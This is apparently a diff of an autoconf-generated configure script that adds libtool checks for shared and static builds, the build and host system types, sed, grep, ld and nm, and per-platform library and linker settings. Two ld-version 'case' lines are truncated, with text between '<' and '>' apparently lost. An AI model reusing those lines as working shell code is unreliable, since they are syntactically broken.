;; + no) enable_shared=no ;; + *) + enable_shared=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_shared=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_shared=yes +fi + + +# Check whether --enable-static was given. +if test "${enable_static+set}" = set; then + enableval=$enable_static; p=${PACKAGE-default} + case $enableval in + yes) enable_static=yes ;; + no) enable_static=no ;; + *) + enable_static=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_static=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_static=yes +fi + + +# Check whether --enable-fast-install was given. +if test "${enable_fast_install+set}" = set; then + enableval=$enable_fast_install; p=${PACKAGE-default} + case $enableval in + yes) enable_fast_install=yes ;; + no) enable_fast_install=no ;; + *) + enable_fast_install=no + # Look at the argument we got. We use all the common list separators. + lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR," + for pkg in $enableval; do + IFS="$lt_save_ifs" + if test "X$pkg" = "X$p"; then + enable_fast_install=yes + fi + done + IFS="$lt_save_ifs" + ;; + esac +else + enable_fast_install=yes +fi + + +# Make sure we can run config.sub. +$SHELL "$ac_aux_dir/config.sub" sun4 >/dev/null 2>&1 || + { { echo "$as_me:$LINENO: error: cannot run $SHELL $ac_aux_dir/config.sub" >&5 +echo "$as_me: error: cannot run $SHELL $ac_aux_dir/config.sub" >&2;} + { (exit 1); exit 1; }; } + +{ echo "$as_me:$LINENO: checking build system type" >&5 +echo $ECHO_N "checking build system type... $ECHO_C" >&6; } +if test "${ac_cv_build+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_build_alias=$build_alias +test "x$ac_build_alias" = x && + ac_build_alias=`$SHELL "$ac_aux_dir/config.guess"` +test "x$ac_build_alias" = x && + { { echo "$as_me:$LINENO: error: cannot guess build type; you must specify one" >&5 +echo "$as_me: error: cannot guess build type; you must specify one" >&2;} + { (exit 1); exit 1; }; } +ac_cv_build=`$SHELL "$ac_aux_dir/config.sub" $ac_build_alias` || + { { echo "$as_me:$LINENO: error: $SHELL $ac_aux_dir/config.sub $ac_build_alias failed" >&5 +echo "$as_me: error: $SHELL $ac_aux_dir/config.sub $ac_build_alias failed" >&2;} + { (exit 1); exit 1; }; } + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_build" >&5 +echo "${ECHO_T}$ac_cv_build" >&6; } +case $ac_cv_build in +*-*-*) ;; +*) { { echo "$as_me:$LINENO: error: invalid value of canonical build" >&5 +echo "$as_me: error: invalid value of canonical build" >&2;} + { (exit 1); exit 1; }; };; +esac +build=$ac_cv_build +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_build +shift +build_cpu=$1 +build_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +build_os=$* +IFS=$ac_save_IFS +case $build_os in *\ *) build_os=`echo "$build_os" | sed 's/ /-/g'`;; esac + + +{ echo "$as_me:$LINENO: checking host system type" >&5 +echo $ECHO_N "checking host system type... $ECHO_C" >&6; } +if test "${ac_cv_host+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "x$host_alias" = x; then + ac_cv_host=$ac_cv_build +else + ac_cv_host=`$SHELL "$ac_aux_dir/config.sub" $host_alias` || + { { echo "$as_me:$LINENO: error: $SHELL $ac_aux_dir/config.sub $host_alias failed" >&5 +echo "$as_me: error: $SHELL $ac_aux_dir/config.sub $host_alias failed" >&2;} + { (exit 1); exit 1; }; } +fi + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_host" >&5 +echo "${ECHO_T}$ac_cv_host" >&6; } +case $ac_cv_host in +*-*-*) ;; +*) { { echo "$as_me:$LINENO: error: invalid value of canonical host" >&5 +echo "$as_me: error: invalid value of canonical host" >&2;} + { (exit 1); exit 1; }; };; +esac +host=$ac_cv_host +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_host +shift +host_cpu=$1 +host_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +host_os=$* +IFS=$ac_save_IFS +case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac + + +{ echo "$as_me:$LINENO: checking for a sed that does not truncate output" >&5 +echo $ECHO_N "checking for a sed that does not truncate output... $ECHO_C" >&6; } +if test "${lt_cv_path_SED+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Loop through the user's path and test for sed and gsed. +# Then use that list of sed's as ones to test for truncation. +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for lt_ac_prog in sed gsed; do + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then + lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext" + fi + done + done +done +lt_ac_max=0 +lt_ac_count=0 +# Add /usr/xpg4/bin/sed as it is typically found on Solaris +# along with /bin/sed that truncates output. +for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do + test ! -f $lt_ac_sed && break + cat /dev/null > conftest.in + lt_ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >conftest.in + # Check for GNU sed and select it if it is found. + if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then + lt_cv_path_SED=$lt_ac_sed + break + fi + while true; do + cat conftest.in conftest.in >conftest.tmp + mv conftest.tmp conftest.in + cp conftest.in conftest.nl + echo >>conftest.nl + $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break + cmp -s conftest.out conftest.nl || break + # 10000 chars as input seems more than enough + test $lt_ac_count -gt 10 && break + lt_ac_count=`expr $lt_ac_count + 1` + if test $lt_ac_count -gt $lt_ac_max; then + lt_ac_max=$lt_ac_count + lt_cv_path_SED=$lt_ac_sed + fi + done +done + +fi + +SED=$lt_cv_path_SED +{ echo "$as_me:$LINENO: result: $SED" >&5 +echo "${ECHO_T}$SED" >&6; } + +{ echo "$as_me:$LINENO: checking for grep that handles long lines and -e" >&5 +echo $ECHO_N "checking for grep that handles long lines and -e... $ECHO_C" >&6; } +if test "${ac_cv_path_GREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Extract the first word of "grep ggrep" to use in msg output +if test -z "$GREP"; then +set dummy grep ggrep; ac_prog_name=$2 +if test "${ac_cv_path_GREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_path_GREP_found=false +# Loop through the user's path and test for each of PROGNAME-LIST +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in grep ggrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" + { test -f "$ac_path_GREP" && $as_executable_p "$ac_path_GREP"; } || continue + # Check for GNU ac_path_GREP and select it if it is found. + # Check for GNU $ac_path_GREP +case `"$ac_path_GREP" --version 2>&1` in +*GNU*) + ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; +*) + ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + echo 'GREP' >> "conftest.nl" + "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + ac_count=`expr $ac_count + 1` + if test $ac_count -gt ${ac_path_GREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_GREP="$ac_path_GREP" + ac_path_GREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + + $ac_path_GREP_found && break 3 + done +done + +done +IFS=$as_save_IFS + + +fi + +GREP="$ac_cv_path_GREP" +if test -z "$GREP"; then + { { echo "$as_me:$LINENO: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&5 +echo "$as_me: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&2;} + { (exit 1); exit 1; }; } +fi + +else + ac_cv_path_GREP=$GREP +fi + + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_path_GREP" >&5 +echo "${ECHO_T}$ac_cv_path_GREP" >&6; } + GREP="$ac_cv_path_GREP" + + +{ echo "$as_me:$LINENO: checking for egrep" >&5 +echo $ECHO_N "checking for egrep... $ECHO_C" >&6; } +if test "${ac_cv_path_EGREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 + then ac_cv_path_EGREP="$GREP -E" + else + # Extract the first word of "egrep" to use in msg output +if test -z "$EGREP"; then +set dummy egrep; ac_prog_name=$2 +if test "${ac_cv_path_EGREP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_path_EGREP_found=false +# Loop through the user's path and test for each of PROGNAME-LIST +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_prog in egrep; do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_EGREP="$as_dir/$ac_prog$ac_exec_ext" + { test -f "$ac_path_EGREP" && $as_executable_p "$ac_path_EGREP"; } || continue + # Check for GNU ac_path_EGREP and select it if it is found. + # Check for GNU $ac_path_EGREP +case `"$ac_path_EGREP" --version 2>&1` in +*GNU*) + ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;; +*) + ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >"conftest.in" + while : + do + cat "conftest.in" "conftest.in" >"conftest.tmp" + mv "conftest.tmp" "conftest.in" + cp "conftest.in" "conftest.nl" + echo 'EGREP' >> "conftest.nl" + "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break + diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break + ac_count=`expr $ac_count + 1` + if test $ac_count -gt ${ac_path_EGREP_max-0}; then + # Best one so far, save it but keep looking for a better one + ac_cv_path_EGREP="$ac_path_EGREP" + ac_path_EGREP_max=$ac_count + fi + # 10*(2^10) chars as input seems more than enough + test $ac_count -gt 10 && break + done + rm -f conftest.in conftest.tmp conftest.nl conftest.out;; +esac + + + $ac_path_EGREP_found && break 3 + done +done + +done +IFS=$as_save_IFS + + +fi + +EGREP="$ac_cv_path_EGREP" +if test -z "$EGREP"; then + { { echo "$as_me:$LINENO: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&5 +echo "$as_me: error: no acceptable $ac_prog_name could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" >&2;} + { (exit 1); exit 1; }; } +fi + +else + ac_cv_path_EGREP=$EGREP +fi + + + fi +fi +{ echo "$as_me:$LINENO: result: $ac_cv_path_EGREP" >&5 +echo "${ECHO_T}$ac_cv_path_EGREP" >&6; } + EGREP="$ac_cv_path_EGREP" + + + +# Check whether --with-gnu-ld was given. +if test "${with_gnu_ld+set}" = set; then + withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes +else + with_gnu_ld=no +fi + +ac_prog=ld +if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + { echo "$as_me:$LINENO: checking for ld used by $CC" >&5 +echo $ECHO_N "checking for ld used by $CC... $ECHO_C" >&6; } + case $host in + *-*-mingw*) + # gcc leaves a trailing carriage return which upsets mingw + ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + ac_prog=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $ac_prog in + # Accept absolute paths. + [\\/]* | ?:[\\/]*) + re_direlt='/[^/][^/]*/\.\./' + # Canonicalize the pathname of ld + ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'` + while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do + ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"` + done + test -z "$LD" && LD="$ac_prog" + ;; + "") + # If it fails, then pretend we aren't using GCC. + ac_prog=ld + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac +elif test "$with_gnu_ld" = yes; then + { echo "$as_me:$LINENO: checking for GNU ld" >&5 +echo $ECHO_N "checking for GNU ld... $ECHO_C" >&6; } +else + { echo "$as_me:$LINENO: checking for non-GNU ld" >&5 +echo $ECHO_N "checking for non-GNU ld... $ECHO_C" >&6; } +fi +if test "${lt_cv_path_LD+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -z "$LD"; then + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + lt_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some GNU ld's only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$lt_cv_path_LD" -v 2>&1 &5 +echo "${ECHO_T}$LD" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi +test -z "$LD" && { { echo "$as_me:$LINENO: error: no acceptable ld found in \$PATH" >&5 +echo "$as_me: error: no acceptable ld found in \$PATH" >&2;} + { (exit 1); exit 1; }; } +{ echo "$as_me:$LINENO: checking if the linker ($LD) is GNU ld" >&5 +echo $ECHO_N "checking if the linker ($LD) is GNU ld... $ECHO_C" >&6; } +if test "${lt_cv_prog_gnu_ld+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # I'd rather use --version here, but apparently some GNU ld's only accept -v. +case `$LD -v 2>&1 &5 +echo "${ECHO_T}$lt_cv_prog_gnu_ld" >&6; } +with_gnu_ld=$lt_cv_prog_gnu_ld + + +{ echo "$as_me:$LINENO: checking for $LD option to reload object files" >&5 +echo $ECHO_N "checking for $LD option to reload object files... $ECHO_C" >&6; } +if test "${lt_cv_ld_reload_flag+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_ld_reload_flag='-r' +fi +{ echo "$as_me:$LINENO: result: $lt_cv_ld_reload_flag" >&5 +echo "${ECHO_T}$lt_cv_ld_reload_flag" >&6; } +reload_flag=$lt_cv_ld_reload_flag +case $reload_flag in +"" | " "*) ;; +*) reload_flag=" $reload_flag" ;; +esac +reload_cmds='$LD$reload_flag -o $output$reload_objs' +case $host_os in + darwin*) + if test "$GCC" = yes; then + reload_cmds='$CC -nostdlib ${wl}-r -o $output$reload_objs' + else + reload_cmds='$LD$reload_flag -o $output$reload_objs' + fi + ;; +esac + +{ echo "$as_me:$LINENO: checking for BSD-compatible nm" >&5 +echo $ECHO_N "checking for BSD-compatible nm... $ECHO_C" >&6; } +if test "${lt_cv_path_NM+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$NM"; then + # Let the user override the test. + lt_cv_path_NM="$NM" +else + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH /usr/ccs/bin /usr/ucb /bin; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + tmp_nm="$ac_dir/${ac_tool_prefix}nm" + if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then + # Check to see if the nm accepts a BSD-compat flag. + # Adding the `sed 1q' prevents false positives on HP-UX, which says: + # nm: unknown option "B" ignored + # Tru64's nm complains that /dev/null is an invalid object file + case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in + */dev/null* | *'Invalid file or object type'*) + lt_cv_path_NM="$tmp_nm -B" + break + ;; + *) + case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in + */dev/null*) + lt_cv_path_NM="$tmp_nm -p" + break + ;; + *) + lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but + continue # so that we can try to find one that supports BSD flags + ;; + esac + esac + fi + done + IFS="$lt_save_ifs" + test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm +fi +fi +{ echo "$as_me:$LINENO: result: $lt_cv_path_NM" >&5 +echo "${ECHO_T}$lt_cv_path_NM" >&6; } +NM="$lt_cv_path_NM" + +{ echo "$as_me:$LINENO: checking whether ln -s works" >&5 +echo $ECHO_N "checking whether ln -s works... $ECHO_C" >&6; } +LN_S=$as_ln_s +if test "$LN_S" = "ln -s"; then + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +else + { echo "$as_me:$LINENO: result: no, using $LN_S" >&5 +echo "${ECHO_T}no, using $LN_S" >&6; } +fi + +{ echo "$as_me:$LINENO: checking how to recognise dependent libraries" >&5 +echo $ECHO_N "checking how to recognise dependent libraries... $ECHO_C" >&6; } +if test "${lt_cv_deplibs_check_method+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_file_magic_cmd='$MAGIC_CMD' +lt_cv_file_magic_test_file= +lt_cv_deplibs_check_method='unknown' +# Need to set the preceding variable on all platforms that support +# interlibrary dependencies. +# 'none' -- dependencies not supported. +# `unknown' -- same as none, but documents that we really don't know. +# 'pass_all' -- all dependencies passed with no checks. +# 'test_compile' -- check by making test program. +# 'file_magic [[regex]]' -- check by looking for files in library path +# which responds to the $file_magic_cmd with a given extended regex. +# If you have `file' or equivalent on your system and you're not sure +# whether `pass_all' will *always* work, you probably want this one. + +case $host_os in +aix4* | aix5*) + lt_cv_deplibs_check_method=pass_all + ;; + +beos*) + lt_cv_deplibs_check_method=pass_all + ;; + +bsdi[45]*) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)' + lt_cv_file_magic_cmd='/usr/bin/file -L' + lt_cv_file_magic_test_file=/shlib/libc.so + ;; + +cygwin*) + # func_win32_libid is a shell function defined in ltmain.sh + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + ;; + +mingw* | pw32*) + # Base MSYS/MinGW do not provide the 'file' command needed by + # func_win32_libid shell function, so use a weaker test based on 'objdump'. + lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?' + lt_cv_file_magic_cmd='$OBJDUMP -f' + ;; + +darwin* | rhapsody*) + lt_cv_deplibs_check_method=pass_all + ;; + +freebsd* | kfreebsd*-gnu) + if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then + case $host_cpu in + i*86 ) + # Not sure whether the presence of OpenBSD here was a mistake. + # Let's accept both of them until this is cleared up. + lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD)/i[3-9]86 (compact )?demand paged shared library' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` + ;; + esac + else + lt_cv_deplibs_check_method=pass_all + fi + ;; + +gnu*) + lt_cv_deplibs_check_method=pass_all + ;; + +hpux10.20* | hpux11*) + lt_cv_file_magic_cmd=/usr/bin/file + case "$host_cpu" in + ia64*) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64' + lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so + ;; + hppa*64*) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]' + lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl + ;; + *) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9].[0-9]) shared library' + lt_cv_file_magic_test_file=/usr/lib/libc.sl + ;; + esac + ;; + +irix5* | irix6* | nonstopux*) + case $LD in + *-32|*"-32 ") libmagic=32-bit;; + *-n32|*"-n32 ") libmagic=N32;; + *-64|*"-64 ") libmagic=64-bit;; + *) libmagic=never-match;; + esac + lt_cv_deplibs_check_method=pass_all + ;; + +# This must be Linux ELF. +linux*) + case $host_cpu in + alpha*|hppa*|i*86|ia64*|m68*|mips*|powerpc*|sparc*|s390*|sh*) + lt_cv_deplibs_check_method=pass_all ;; + *) + # glibc up to 2.1.1 does not perform some relocations on ARM + # this will be overridden with pass_all, but let us keep it just in case + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )' ;; + esac + lt_cv_file_magic_test_file=`echo /lib/libc.so* /lib/libc-*.so` + lt_cv_deplibs_check_method=pass_all + ;; + +netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$' + fi + ;; + +newos6*) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)' + lt_cv_file_magic_cmd=/usr/bin/file + lt_cv_file_magic_test_file=/usr/lib/libnls.so + ;; + +nto-qnx*) + lt_cv_deplibs_check_method=unknown + ;; + +openbsd*) + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' + fi + ;; + +osf3* | osf4* | osf5*) + lt_cv_deplibs_check_method=pass_all + ;; + +sco3.2v5*) + lt_cv_deplibs_check_method=pass_all + ;; + +solaris*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + case $host_vendor in + motorola) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]' + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` + ;; + ncr) + lt_cv_deplibs_check_method=pass_all + ;; + sequent) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )' + ;; + sni) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib" + lt_cv_file_magic_test_file=/lib/libc.so + ;; + siemens) + lt_cv_deplibs_check_method=pass_all + ;; + esac + ;; + +sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7* | sysv4*uw2*) + lt_cv_deplibs_check_method=pass_all + ;; +esac + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_deplibs_check_method" >&5 +echo "${ECHO_T}$lt_cv_deplibs_check_method" >&6; } +file_magic_cmd=$lt_cv_file_magic_cmd +deplibs_check_method=$lt_cv_deplibs_check_method +test -z "$deplibs_check_method" && deplibs_check_method=unknown + + + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + +# Check whether --enable-libtool-lock was given. +if test "${enable_libtool_lock+set}" = set; then + enableval=$enable_libtool_lock; +fi + +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + +# Some flags need to be propagated to the compiler or linker for good +# libtool support. +case $host in +ia64-*-hpux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + case `/usr/bin/file conftest.$ac_objext` in + *ELF-32*) + HPUX_IA64_MODE="32" + ;; + *ELF-64*) + HPUX_IA64_MODE="64" + ;; + esac + fi + rm -rf conftest* + ;; +*-*-irix6*) + # Find out which ABI we are using. + echo '#line 4106 "configure"' > conftest.$ac_ext + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + if test "$lt_cv_prog_gnu_ld" = yes; then + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -melf32bsmip" + ;; + *N32*) + LD="${LD-ld} -melf32bmipn32" + ;; + *64-bit*) + LD="${LD-ld} -melf64bmip" + ;; + esac + else + case `/usr/bin/file conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -32" + ;; + *N32*) + LD="${LD-ld} -n32" + ;; + *64-bit*) + LD="${LD-ld} -64" + ;; + esac + fi + fi + rm -rf conftest* + ;; + +x86_64-*linux*|ppc*-*linux*|powerpc*-*linux*|s390*-*linux*|sparc*-*linux*) + # Find out which ABI we are using. + echo 'int i;' > conftest.$ac_ext + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + case "`/usr/bin/file conftest.o`" in + *32-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_i386" + ;; + ppc64-*linux*|powerpc64-*linux*) + LD="${LD-ld} -m elf32ppclinux" + ;; + s390x-*linux*) + LD="${LD-ld} -m elf_s390" + ;; + sparc64-*linux*) + LD="${LD-ld} -m elf32_sparc" + ;; + esac + ;; + *64-bit*) + case $host in + x86_64-*linux*) + LD="${LD-ld} -m elf_x86_64" + ;; + ppc*-*linux*|powerpc*-*linux*) + LD="${LD-ld} -m elf64ppc" + ;; + s390*-*linux*) + LD="${LD-ld} -m elf64_s390" + ;; + sparc*-*linux*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; + +*-*-sco3.2v5*) + # On SCO OpenServer 5, we need -belf to get full-featured binaries. + SAVE_CFLAGS="$CFLAGS" + CFLAGS="$CFLAGS -belf" + { echo "$as_me:$LINENO: checking whether the C compiler needs -belf" >&5 +echo $ECHO_N "checking whether the C compiler needs -belf... $ECHO_C" >&6; } +if test "${lt_cv_cc_needs_belf+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + lt_cv_cc_needs_belf=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + lt_cv_cc_needs_belf=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_cc_needs_belf" >&5 +echo "${ECHO_T}$lt_cv_cc_needs_belf" >&6; } + if test x"$lt_cv_cc_needs_belf" != x"yes"; then + # this is probably gcc 2.8.0, egcs 1.0 